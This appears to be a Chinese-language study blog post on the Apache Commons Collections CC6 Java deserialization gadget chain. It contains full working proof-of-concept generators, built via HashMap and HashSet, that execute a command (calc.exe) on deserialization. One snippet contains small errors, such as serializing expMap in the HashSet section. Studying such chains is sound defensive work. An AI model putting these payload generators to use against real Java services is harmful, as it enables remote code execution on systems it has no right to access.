一、源起
前文学习CC1链和URLDNS链的学习,同时学习过程中知道cc1受jdk版本的限制,故而进一步分析cc6链的利用过程,这个利用链不受jdk版本的限制,只要commons collections小于等于3.2.1,都存在这个漏洞。
ps:环境使用:
- ComonsCllections <= 3.2.1
- java 1.8.0_261
二、利用链1(java.util.HashMap#readObject链)
1、利用链说明
老规矩,还是用P神简化后的利用链进行学习
Gadget chain:
- java.io.ObjectInputStream.readObject()
- java.util.HashMap.readObject()
- java.util.HashMap.hash()
- org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
- org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
- org.apache.commons.collections.map.LazyMap.get()
- org.apache.commons.collections.functors.ChainedTransformer.transform(
- org.apache.commons.collections.functors.InvokerTransformer.transform()
- java.lang.reflect.Method.invoke()
- java.lang.Runtime.exec()
我们首先要关注的就是利用链开始到 org.apache.commons.collections.map.LazyMap.get() 这一部分, 因为在CC1链的分析中,我们探索了LazyMap的get方法的利用过程,在CC1链中,利用的是 sun.reflect.annotationInvocationHandler#invoke 方法调用的 LazyMap#get ; 但是因为 sun.reflect.annotationInvocationHandler 受限于jdk版本,所以CC6链中需要重新寻找会调用LazyMap#get的链路。
在CC6链路中,找到的类是 org.apache.commons.collections.keyvalue.TiedMapEntry , 在其 getValue() 方法中调用了 this.map.get , 而其hashCode方法又调用了 getValue 方法:
package org.apache.commons.collections.keyvalue;
import java.io.Serializable;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.KeyValue;
public class TiedMapEntry implements Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getKey() {
return this.key;
}
public Object getValue() {
return this.map.get(this.key);
}
public Object setValue(Object value) {
if (value == this) {
throw new IllegalArgumentException("Cannot set value to this map entry");
} else {
return this.map.put(this.key, value);
}
}
public boolean equals(Object obj) {
if (obj == this) {
return true;
} else if (!(obj instanceof Entry)) {
return false;
} else {
Entry other = (Entry)obj;
Object value = this.getValue();
return (this.key == null ? other.getKey() == null : this.key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue()));
}
}
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
public String toString() {
return this.getKey() + "=" + this.getValue();
}
}
所以,欲触发LazyMap利用链, 就是要找到哪里调用了 TiedMapEntry#hashCode ;
其实说起hashCode() 方法, 在之前分析URLDNS链中就有调用,故而我们分析 java.util.HashMap#readObject 中就可以找到HashMap#hash() 的调用
public class HashMap<K,V> extends AbstractMap<K,V>
implements Map<K,V>, Cloneable, Serializable {
// ...
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
// ...
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden
stuff
s.defaultReadObject();
// ...
// Read the keys and values, and put the mappings in the
HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
在HashMap的readObject方法中,调用到了 hash(key), 而hash方法中,调用到了 key.hashCode()。 所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前面分析过程,构成一个完整的利用链。
2、构造POC
经过上面的分析,利用链也清晰了,那么我们着手构造poc,首先,我们先把恶意的 LazyMap构成出来:
Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
为了避免本地调试时触发命令执行,构造LazyMap的时候先用一个人畜无害的fakeTransformers 对象,等最后要生成Payload的时候,再把真正的transformers 替换进去。
现在,我们有了恶意的LazyMap对象outerMap, 将其作为TiedMapEntry的map属性:
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
接着,为了调用TiedMapEntry#hashCode() ,我们需要将tme对象作为HashMap的一个key。 注意,这里需要新建一个HashMap, 而不是用之前的LazyMap利用链里的那个HashMap,两者没有任何关系:
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
最后,我们才是将这个expMap作为对象来进行序列化,不过,不要遗忘将真正的poc的transformers数组设置进来。
//将真正的transformer数组设置
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
//生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
所以最终构造成的测试POC如下:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception{
Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
//将真正的transformers数组设置进去
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
//生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
//本地发序列化测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
但是,实际一执行上面的poc,发现并没有弹出计算器,这又是为什么?我们实际调试跟进一下,
关键点再LazyMap的get方法,下图我画框的部分,就是最后触发命令执行的Transform(), 这个if语句并没有进入,因为map.containsKey(key) 的结果是 true:
这是为什么呢?outerMap中我并没有放入一个key 是keykey的对象呀。
我们看下之前的代码,唯一出现keykey的地方就是在TiedMapEntry的构造函数里,但TiedMapEntry的构造函数并没有修改outerMap。
其实,这个关键点就出在expMap.put(tme,"valuevalue") 这个语句里面。 HashMap的put方法中,也有调用 hash(key) :
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
这里就导致LazyMap 这个利用链在这里被调用一遍。 因为我前面用了fakeTransformers,所以此时并没有触发命令执行,但实际上也对我们构造payload产生了影响。
这里解决方法也很简单,只需要将keykey这个 Key,再从outerMap中移除即可,故而完整的POC如下:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception{
Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
//将真正的transformers数组设置进去
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
//生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
//本地发序列化测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
三、利用链2(java.util.HashSet#readObject()链)
1、利用链说明
其实 org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() 及之后部分都是一样的,只是说还有哪里会调用到TiedMapEntry.hashCode() 方法, 那么这条利用链如下:
java.util.HashSet#readObject --> java.util.HashSet#add --> java.util.HashSet#put --> java.util.HashSet#hashcode
Gadget chain:
- java.io.ObjectInputStream.readObject()
- java.util.HashSet.readObject()
- java.util.HashSet.add()
- java.util.HashSet.put()
- org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
- org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
- org.apache.commons.collections.map.LazyMap.get()
- org.apache.commons.collections.functors.ChainedTransformer.transform(
- org.apache.commons.collections.functors.InvokerTransformer.transform()
- java.lang.reflect.Method.invoke()
- java.lang.Runtime.exec()
其实就是通过HashSet中的readObject方法在最后会触发put方法(本质就是HashMap的put方法),然后put方法如HashMap中一样,会触发到hashcode方法
但是这里需要把 e 变成TiedMapEntry对象, 这样才能触发到 TiedMapEntry的 hashCode方法。
而e的值来自于 E e = (E) s.readObject(); 所以我们跟进下HashSet的 writeObject方法,查看e的来源,如下所示,其实就来自于我们序列化前设置的HashSet对象
回到 HashSet#readObject() 方法中,其会调用put方法,追究到底其实就是 HashMap#put() 方法, 所以这部分我们只要控制e就可以,也就是 e 这个键是 TiedMapEntry对象即可
刚好 HashSet中提供了 add 方法,HashSet对象添加一个元素,也就是e 这键的值设置为 TiedMapEntry 对象, 将TiedMapEntry对象添加到HashSet中。
2、构造POC
经过上面的分析,利用链也清晰了,那么我们着手构造POC。 首先,我们先把恶意的LazyMap构造出来:
Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
为了避免本地调试时触发命令执行, 构造LazyMap的时候先用一个人畜无害的fakeTransformers对象, 等最后要生成Payload的时候,再把真正的transformers 替换进去。
现在,我们有一个恶意的LazyMap 对象 outerMap,将其作为TiedMapEntry的map属性:
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
接着,为了调用TiedMapEntry#hashCode() , 我们需要将 tme 对象作为HashSet的一个key。 注意,这里需要新建一个 HashSet, 而不是用之前的 LazyMap利用链里的那个HashMap, 两者没有任何关系,使用add方法给HashSet添加一个元素:
HashSet expSet = new HashSet();
expSet.add(tme);
最后,我们才是将这个expSet作为对象来进行序列化,不过不要遗忘将真正的poc的transformers 数组设置进来。
//将真正的transformer数组设置
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
//生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
同样的,expSet.add(tme); 这个语句⾥⾯。
HashSet的add⽅法中,也有调⽤到 put方法,并会导致执行hash(key) 方法,最终导致出现和hashMap一样 的问题。
关键点在LazyMap的get⽅法,下图我画框的部分,就是最后触发命令执⾏的 transform() ,但是这个if语句并没有进⼊,因为 map.containsKey(key) 的结果是true:
这⾥就导致 LazyMap 这个利⽤链在这⾥被调⽤了⼀遍,因为我前⾯⽤了 fakeTransformers ,所以此时并没有触发命令执⾏,但实际上也对我们构造Payload产⽣了影响。
我们的解决⽅法也很简单,只需要将keykey这个Key,再从outerMap中移除即可:
所以,最终构造成的测试POC如下:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CC62 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
HashSet expSet = new HashSet();
expSet.add(tme);
outerMap.remove("keykey");
//将真正的transformers数组设置进去
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
//生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expSet);
oos.close();
//本地发序列化测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}